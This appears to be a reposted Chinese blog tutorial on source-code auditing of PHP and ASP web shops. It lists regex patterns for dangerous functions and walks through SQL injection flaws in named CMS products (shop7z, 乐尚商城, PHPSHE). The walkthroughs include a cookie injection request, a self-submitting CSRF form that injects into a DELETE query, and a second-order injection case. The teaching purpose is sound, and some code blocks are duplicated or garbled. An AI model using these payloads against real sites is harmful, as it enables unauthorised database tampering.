源代码审计

来源:互联网 发布:flash player mac下载 编辑:程序博客网 时间:2024/06/05 01:09

后话:本来写了一篇分析在csdn,不小心关掉就没了,无奈,只好copy到博客园,写了一上午,醉了

 

两大审计的基本方法

1. 跟踪用户的输入数据,判断数据进入的每一个代码逻辑是否有可利用的点,此处的代码逻辑可以是一个函数,或者是条小小的条件判断语句。

2. 根据不同编程语言的特性,及其历史上经常产生漏洞的一些函数,功能,把这些点找出来,在分析函数调用时的参数,如果参数是用户可控,就很有可能引发安全漏洞

1、寻找漏洞前准备理解

理解现在的cms大致可分为两种,单入口模式和多入口模式.

  多入口模式cms 每一个功能都需要访问不同的文件。

  单入口模式的cmsMVC的开发出来的

So,挖掘漏洞方式

  1、搜索一些获取用户输入数据的函数,来找到用户输入数据的源头,之后我们从这里为起点,跟踪数据的流向,分析在这整个过程中数据的处理情况,进而定位可能触发漏洞的点。

  2、搜索一些经常产生安全问题的函数,比如执行数据库查询的函数,执行系统命令的函数,文件操作类函数等等,在通过回溯这些函数在被调用时参数,判断参数是否我们可控,进而定位漏洞点。

常用的正则 PHP

复制代码
\$_SERVER|\$_COOKIE|\$_REQUEST|\$_GET|\$_POST    获取用户输入eval\(|assert\(|system\(  命令执行require\(|require_once\(|include\(|include_once\(  文件包含file_get_contents\(|file\(|fopen\(|highlight_file\(|show_source\(|unlink      文件读取,写入,删除simplexml_load_string      XXEunserialize           反序列化漏洞
复制代码

 

 

ASP ==》 搜索request找输入点,直接跟踪变量==》查看文件头包含include的文件(全局配置文件,全局函数文件,安全过滤文件

.NET

Jsp

 

 

Ex:代码审计多入口模式SQL注入篇shop7z

Shop7_safe.asp 安全过滤函数

复制代码
<%Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr'自定义需要过滤的字串,用 "曹" 分隔 ' 防止SQL注入以及XSS跨站攻击 /2016/1/3Fy_In = "'曹;曹and曹exec曹insert曹select曹delete曹count曹*曹%曹chr曹mid曹master曹truncate曹char曹declare曹<曹>曹script"'----------------------------------%>  //为毛不用操。。。<%Fy_Inf = split(Fy_In,"曹")'--------POST部份------------------If Request.Form<>"" ThenFor Each Fy_Post In Request.FormFor Fy_Xh=0 To Ubound(Fy_Inf)If Instr(LCase(Request.FormFy_Post)),Fy_Inf(Fy_Xh))<>0 Then(Response.Write "xxx<Script Language=JavaScript>('请不要对本站尝试进行非法操作谢谢合作^_^ ');history.go(-1);</Script>"Response.EndEnd IfNextNextEnd If'----------------------------------'--------GET部份-------------------If Request.QueryString<>"" ThenFor Each Fy_Get In Request.QueryStringFor Fy_Xh=0 To Ubound(Fy_Inf)If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 ThenResponse.Write "xxx<Script Language=JavaScript>('请不要对本站尝试进行注入操作谢谢合作^_^ ');history.go(-1);</Script>"Response.EndEnd IfNextNextEnd If%>
复制代码

 

Request回来的参数只对get和post两种方法针对SQL注入攻击进行过滤。Cookie呢?So?

  request.QueryString(获取GET请求的参数)   request.form() (获取POST请求的参数)   request.cookie() (获取通过cookie传来的参数  request )  

 

关注从 cookie中获取参数的函数

开始

 

漏洞文件:news.asp

复制代码
searchkey=request("searchkey")searchkind=request("searchkind")if searchkey<>"" then    sql3="select * from e_contect where c_parent2="&request.QueryString("l_id")&" and (c_title like '%"&searchkey&"%' or c_contect like '%"&searchkey&"%') order by c_num desc,c_addtime desc"else    sql3="select * from e_contect where c_parent2="&request.QueryString("l_id")&" order by c_num desc,c_addtime desc"end ifset rs3=server.CreateObject("adodb.recordset")rs3.open sql3,conn,1,1
复制代码

 

 

 

文件包含了全局过滤文件,用requset()获取参数,在cookie处提交恶意代码,抓包

复制代码
GET /news.asp?l_id=1 HTTP/1.1Host: 127.0.0.1:99Cache-Control: max-age=0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0Accept-Encoding: gzip,deflate,sdchAccept-Language: zh-CN,zh;q=0.8Cookie: _ga=GA1.1.1929133354.1465629589; COSPTLCBWXNQVBUKXIOJ=KSBKFPQVGIRJWBOELVYRTMRCNPDSIWYDIWYHQYNQ; searchkey=sss'and# 
复制代码

 

 

执行语句

 select * from e_contect where c_parent2=1 and (c_title like '%sss'and#%' or c_contect like '%sss'and#%') order by c_num desc,c_addtime desc 

好吧看图

 

理解参数的传递。Ok

 

Ex:代码审计单入口模式乐尚商城cms

这种cms典型的采用 MVC 编程模型编写的程序,而且它还将 URL 路由进行了重写,也就是说他的 URL 如果按照国际标准去解析他,是没有什么实际意义的,所以遇到这种程序,我们还需要理清它 URL 路由规则,找到参数名,与参数值的位置关系

前台url:

 

后台url:

目录结构

 

单入口一般采用这样的目录结构的。分析程序执行流程,理解在index.php文件之间的调用

 

第一个该文件定义了一些变量,好像这个没什么卵用。关键/brophp.php

 

复制代码
/包含框架中的函数库文件    include BROPHP_PATH.'commons/functions.inc.php';   ==》该文件内部是一些全局函数    //包含全局的函数库文件,用户可以自己定义函数在这个文件中    $funfile=PROJECT_PATH."commons/functions.inc.php";    if(file_exists($funfile))        include $funfile;    //设置包含目录(类所在的全部目录),  PATH_SEPARATOR 分隔符号 Linux(:) Windows(;) //之后设置了许多的目录,    $include_path=get_include_path(); //原基目录    $include_path.=PATH_SEPARATOR.BROPHP_PATH."bases/";   //框架中基类所在的目录    $include_path.=PATH_SEPARATOR.BROPHP_PATH."classes/" ;//框架中扩展类的目录    $include_path.=PATH_SEPARATOR.BROPHP_PATH."libs/" ;   //模板Smarty所在的目录    $include_path.=PATH_SEPARATOR.PROJECT_PATH."classes/";//项目中用的到的工具类    $controlerpath=PROJECT_PATH."runtime/controls/".TMPPATH;  //生成控制器所在的路径    $include_path.=PATH_SEPARATOR.$controlerpath; //当前应用的控制类所在的目录     //设置include包含文件所在的所有目录        set_include_path($include_path);    //自动加载类         function __autoload($className){        if($className=="memcache"){//如果是系统的Memcache类则不包含            return;        }else if($className=="Smarty"){//如果类名是Smarty类,则直接包含            include "Smarty.class.php";        }else{ //如果是其他类,将类名转为小写            include strtolower($className).".class.php";            }        Debug::addmsg("<b> $className </b>类", 1);  //在debug中显示自动包含的类    } 
复制代码

  使用set_include_path($include_path) ,将这些目录下的文件全部包含进来,逐个点进去看看,发现了定义路由的文件是 brophp/bases/prourl.class.php 看看文件内容:

 

复制代码
<?php    class Prourl {        /**         * URL路由,转为PATHINFO的格式         */         static function parseUrl(){            if (isset($_SERVER['PATH_INFO'])){                   //获取 pathinfo                $pathinfo = explode('/', trim($_SERVER['PATH_INFO'], "/"));                   // 获取 control                   $_GET['m'] = (!empty($pathinfo[0]) ? $pathinfo[0] : 'index');                   array_shift($pathinfo); //将数组开头的单元移出数组                    // 获取 action                   $_GET['a'] = (!empty($pathinfo[0]) ? $pathinfo[0] : 'index');                array_shift($pathinfo); //再将将数组开头的单元移出数组                 for($i=0; $i<count($pathinfo); $i+=2){                    $_GET[$pathinfo[$i]]=$pathinfo[$i+1];                }            }else{                    $_GET["m"]= (!empty($_GET['m']) ? $_GET['m']: 'index');//默认是index模块                $_GET["a"]= (!empty($_GET['a']) ? $_GET['a'] : 'index');   //默认是index动作                if($_SERVER["QUERY_STRING"]){                    $m=$_GET["m"];                    unset($_GET["m"]);  //去除数组中的m                    $a=$_GET["a"];                    unset($_GET["a"]);  //去除数组中的a                    $query=http_build_query($_GET);   //形成0=foo&1=bar&2=baz&3=boom&cow=milk格式                    //组成新的URL                    $url=$_SERVER["SCRIPT_NAME"]."/{$m}/{$a}/".str_replace(array("&","="), "/", $query);                    header("Location:".$url);                }                }        }    }
复制代码

这段代码将我们的 URL 进行了处理,ex当我们请求这样的 URL时

 

http://localhost/leshang/index.php/product/index/id/32/pid/0/m_id/31

 

 

经过定义路由的文件,这样一段代码的处理后的效果是

1
2
3
4
5
$_GET['m']= product   
$_GET['a'] = index    
$_GET['id'] = 32   
$_GET['pid'] = 0
$_GET['m_id'] = 3

通过分析,我们直接按照标准的形式提交参数上去也是可以的,下面的 URL 和上面的 URL是一样的

 

http://localhost/leshang/index.php?m=product&a=index&id=32&pid=0&m_id=31

 

 

 

所以遇到 URL 重写也无需慌张,仔细分析程序即可。

之后继续分析 brophp.php 文件,我们还可以发现,程序没有对我们的参数进行过滤,接下了就上正则搜索了

 

\$_SERVER|\$_COOKIE|\$_REQUEST|\$_GET|\$_POST

 

 逐个分析。就能找到漏洞点。看下这个其中一个漏洞文件 admin/controls/acate.class.php

复制代码
function del(){            $acate=D("acate");            if($_POST['dels']){                if($acate->delete($_POST['id'])){                    $this->clear_cache();                    $this->success("删除成功!", 1, "acate/index");                } else {                    $this->error("删除失败!", 1, "acate/index");                }            } else {                if($acate->delete($_GET['id'])){                    $this->clear_cache();                    $this->success("删除成功!", 1, "acate/index");                } else {                    $this->error("删除失败!", 1, "acate/index");                }            }        }
复制代码

这里直接将 $_POST['id'] 传入了 delete 函数,看下delete函数

 

复制代码
function delete(){            $where="";            $data=array();            $args=func_get_args(); //获取参数            if(count($args)>0){                $where = $this->comWhere($args); //传参 构造 where 语句                $data=$where["data"];                $where= $where["where"];            }else if($this->sql["where"] != ""){                $where=$this->comWhere($this->sql["where"]);                $data=$where["data"];                $where=$where["where"];            }            $order = $this->sql["order"] != "" ?  " ORDER BY {$this->sql["order"][0]}" : "";            $limit = $this->sql["limit"] != "" ? $this->comLimit($this->sql["limit"]) : "";            if($where=="" && $limit==""){                $where=" where {$this->fieldList["pri"]}=''";            }            $sql="DELETE FROM {$this->tabName}{$where}{$order}{$limit}";            return $this->query($sql, __METHOD__,$data);        }
复制代码

 

在进入 comWhere 函数,漏洞关键代码

复制代码
private function comWhere($args){            $where=" WHERE ";            $data=array();            if(empty($args))                return array("where"=>"", "data"=>$data);            foreach($args as $option) {                if(empty($option)){                    $where = ''; //条件为空,返回空字符串;如'',0,false 返回: '' //5                    continue;                }                else if(is_string($option))                {                        if (is_numeric($option[0])) {                        $option = explode(',', $option); //3                        $where .= "{$this->fieldList["pri"]} IN(" . implode(',', array_fill(0, count($option), '?')) . ")";                        $data=$option;                        continue;                    }                     else                     {
复制代码

当 `$args` 的一个元素的值 为字符串时,就会直接并入 where 子句      

复制代码
$where .= $option; //2                        continue;                    }                    }                .........................                ..............................            $where=rtrim($where, "OR ");            return array("where"=>$where, "data"=>$data);
复制代码

当 $args 的一个元素的值 为字符串时,就会直接并入 where 子句,之后返回。 这样,数据的来源没有过滤,处理过程也没过滤,造成了注入。 同时这里依旧存在 CSRF 漏洞。下面我的测试 POC

 

<form action=http://localhost/lesh/admin.php/acate/del method=POST>    <input type="text" name="id" value="jinyu'" />    <input type="text" name="dels" value="1" /></form><script> document.forms[0].submit(); </script>

 

访问后,执行的 SQL 语句为:

 

DELETE FROM ls_acate WHERE jinyu'

 

该漏洞发生在 del 函数中,而且有很多文件都是直接复制了该函数,所以使用了该函数的都存在该sql注入

上面的注入需要管理员权限

接下来看下这个 漏洞文件 : home/controls/user.class.php

 

关键代码:

 

复制代码
function del_consult(){        $consult=D("Consult");        if($_GET['id']){            if($consult->delete($_GET['id'])){                $this->success("删除成功!", 1);            } else {                $this->error("删除失败!", 1);            }        }     }
复制代码

 

这里和上面的也差不多, delete($_GET['id']) 将 id 参数带入了漏洞函数,造成注入。。

提交 http://localhost/lesh/index.php/user/del_consult?id=jinyu'

执行的语句:

DELETE FROM ls_consult WHERE jinyu'

同样的使用了该函数的都有漏洞。。。

为了文章知识的完整性,下面来看一个 二次注入 的例子,来源http://www.wooyun.org/bugs/wooyun-2010-0141461 乌云暂时打不开,自己搭靶机看下吧。

ex:PHPSHE 二次注入一枚

 

 

 

复制代码
case 'register':        if (isset($_p_pesubmit)) {            if($db->pe_num('user', array('user_name'=>pe_dbhold($_g_user_name)))) pe_error('用户名已存在...');            if($db->pe_num('user', array('user_email'=>pe_dbhold($_g_user_email)))) pe_error('邮箱已存在...');            if (strtolower($_s_authcode) != strtolower($_p_authcode)) pe_error('验证码错误');            $sql_set['user_name'] = $_p_user_name;            $sql_set['user_pw'] = md5($_p_user_pw);            $sql_set['user_email'] = $_p_user_email;            $sql_set['user_ip'] = pe_ip();            $sql_set['user_atime'] = $sql_set['user_ltime'] = time();            if ($user_id = $db->pe_insert('user', pe_dbhold($sql_set))) {                add_pointlog($user_id, 'reg', $cache_setting['point_reg'], '注册帐号');                $info = $db->pe_select('user', array('user_id'=>$user_id));                $_SESSION['user_idtoken'] = md5($info['user_id'].$pe['host_root']);                $_SESSION['user_id'] = $info['user_id'];                $_SESSION['user_name'] = $info['user_name'];                $_SESSION['pe_token'] = pe_token_set($_SESSION['user_idtoken']);                //未登录时的购物车列表入库                if (is_array($cart_list = unserialize($_c_cart_list))) {                    foreach ($cart_list as $k => $v) {                        $cart_info['cart_atime'] = time();                        $cart_info['product_id'] = $k;                        $cart_info['product_num'] = $v['product_num'];                        $cart_info['user_id'] = $info['user_id'];
复制代码

用户注册时 ,进行了转义,

然后登入时将完整的值带入了session

 

复制代码
case 'login':        if (isset($_p_pesubmit)) {            $sql_set['user_name'] = $_p_user_name;            $sql_set['user_pw'] = md5($_p_user_pw);            if (strtolower($_s_authcode) != strtolower($_p_authcode)) pe_error('验证码错误');            if ($info = $db->pe_select('user', pe_dbhold($sql_set))) {                $db->pe_update('user', array('user_id'=>$info['user_id']), array('user_ltime'=>time()));                if (!$db->pe_num('pointlog', " and `user_id` = '{$info['user_id']}' and `pointlog_type` = 'reg' and `pointlog_text` = '登录帐号' and `pointlog_atime` >= '".strtotime(date('Y-m-d'))."'")) {                    add_pointlog($info['user_id'], 'reg', $cache_setting['point_login'], '登录帐号');                                }                $_SESSION['user_idtoken'] = md5($info['user_id'].$pe['host_root']);                $_SESSION['user_id'] = $info['user_id'];                $_SESSION['user_name'] = $info['user_name'];z  module/index/order.php 出库case 'comment':        $order_id = pe_dbhold($_g_id);        $info = $db->pe_select('order', array('order_id'=>$order_id, 'user_id'=>$_s_user_id));        if (!$info['order_id']) pe_error('参数错误...');        $info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));        if (isset($_p_pesubmit)) {            pe_token_match();            if ($info['order_comment']) pe_error('请勿重复评价...');            foreach ($info_list as $k=>$v) {                $sql_set[$k]['comment_star'] = intval($_p_comment_star[$v['product_id']]);                $sql_set[$k]['comment_text'] = pe_dbhold($_p_comment_text[$v['product_id']]);                $sql_set[$k]['comment_atime']= time();                $sql_set[$k]['product_id'] = $v['product_id'];                $sql_set[$k]['order_id'] = $order_id;                $sql_set[$k]['user_ip'] = pe_dbhold(pe_ip());                $sql_set[$k]['user_id'] = $_s_user_id;                $sql_set[$k]['user_name'] = $_s_user_name;                if (!$sql_set[$k]['comment_text']) pe_error('评价内容必须填写...');            }            if ($db->pe_insert('comment', $sql_set)) {                order_callback('comment', $order_id);                pe_success('评价成功!');
复制代码

 

 

 

 zmodule/index/order.php 出库

 

复制代码
case 'comment':                 $order_id = pe_dbhold($_g_id);                 $info = $db->pe_select('order', array('order_id'=>$order_id, 'user_id'=>$_s_user_id));                 if (!$info['order_id']) pe_error('参数错误...');                 $info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));                 if (isset($_p_pesubmit)) {                     pe_token_match();                     if ($info['order_comment']) pe_error('请勿重复评价...');                     foreach ($info_list as $k=>$v) {                         $sql_set[$k]['comment_star'] = intval($_p_comment_star[$v['product_id']]);                         $sql_set[$k]['comment_text'] = pe_dbhold($_p_comment_text[$v['product_id']]);                         $sql_set[$k]['comment_atime']= time();                         $sql_set[$k]['product_id'] = $v['product_id'];                         $sql_set[$k]['order_id'] = $order_id;                         $sql_set[$k]['user_ip'] = pe_dbhold(pe_ip());                         $sql_set[$k]['user_id'] = $_s_user_id;                         $sql_set[$k]['user_name'] = $_s_user_name;                         if (!$sql_set[$k]['comment_text']) pe_error('评价内容必须填写...');                     }                     if ($db->pe_insert('comment', $sql_set)) {                         order_callback('comment', $order_id);                         pe_success('评价成功!');
复制代码

 

我们注册个用户 aaaaaaa' ,购买商品后评价,可以看到 单引号带入了

 

 

 

分析来自:http://bobao.360.cn/learning/detail/3023.html

0 0
原创粉丝点击